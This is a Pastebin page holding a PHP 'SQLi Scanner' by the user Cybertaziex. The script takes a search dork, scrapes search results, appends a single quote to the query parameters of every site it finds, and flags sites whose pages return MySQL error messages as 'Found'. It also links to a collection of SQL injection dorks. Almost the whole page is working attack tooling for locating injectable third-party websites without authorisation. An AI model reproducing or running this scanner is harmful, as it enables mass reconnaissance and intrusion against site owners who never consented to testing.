Advertisement
cybertaziex

Sql Scanner

Sep 21st, 2012
559
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.53 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Cybertaziex SQLi Scanner</title>
  4. <link rel="SHORTCUT ICON" href="http://i1237.photobucket.com/albums/ff474/cybertaziex/bendera_merah_putih.gif">
  5. </head>
  6. <body>
  7.  
  8. <body style="background-image: url('http://i1237.photobucket.com/albums/ff474/cybertaziex/ground10.png'); background-repeat: repeat; background-position: center; background-attachment: fixed;">
  9.  
  10. <center>
  11. <br/>
  12. <font color="white" size="5">
  13.     <b>
  14.     SQLi Scanner<br>
  15.     .: Modified by Cybertaziex :.</font></b><br><br>
  16.  
  17. <center>
  18.   <strong><a href="http://pastebin.com/eHG8eC7z" target="_blank"><font color="#FFFFFF">Kumpulan Dork Sql Injection</font></a></strong><font color="orange"><br>
  19.     </font>
  20. </center><font color='orange'><br><br></font>
  21.  
  22. <form method="post" action="">
  23. <font color='red'>Dork</font> : <input type="text" value="Dork !!" name="dork" size="20"/>
  24. <input type="submit" name="scan" value="Scan">
  25. </form>
  26. </center>
  27.  
  28. <?php
  29. ob_start();
  30. set_time_limit(0);
  31.  
  32. if (isset($_POST['scan'])) {
  33.  
  34. $first = "startgoogle.startpagina.nl/index.php?q=";
  35. $sec = "&start=";
  36. $reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
  37.  
  38. for($id=0 ; $id<=30; $id++){
  39. $page=$id*10;
  40. $dork=urlencode($_POST['dork']);
  41. $url = $first.$dork.$sec.$page;
  42.  
  43. $curl = curl_init($url);
  44. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  45. curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)');
  46. $result = curl_exec($curl);
  47. curl_close($curl);
  48.  
  49. preg_match_all($reg,$result,$matches);
  50.  
  51. foreach($matches[1] as $site){
  52.  
  53. $url = preg_replace("/=/", "='", $site);
  54. $curl=curl_init();
  55. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  56. curl_setopt($curl,CURLOPT_URL,$url);
  57. curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)');
  58. curl_setopt($curl,CURLOPT_TIMEOUT,'5');
  59. $GET=curl_exec($curl);
  60. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
  61. echo '<center><b><font color="#E10000">Found : <a href="'.$url.'">'.$url.'</a></b></font></center>';
  62. ob_flush();flush();
  63. }else{
  64. echo '<center><font color="#FFFF00"><b>'.$url.'</b></font></center>';
  65. ob_flush();flush();
  66. }
  67.  
  68. ob_flush();flush();
  69. }
  70. ob_flush();flush();
  71. }
  72. ob_flush();flush();
  73. }
  74.  
  75. ?>
  76. </body>
  77. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement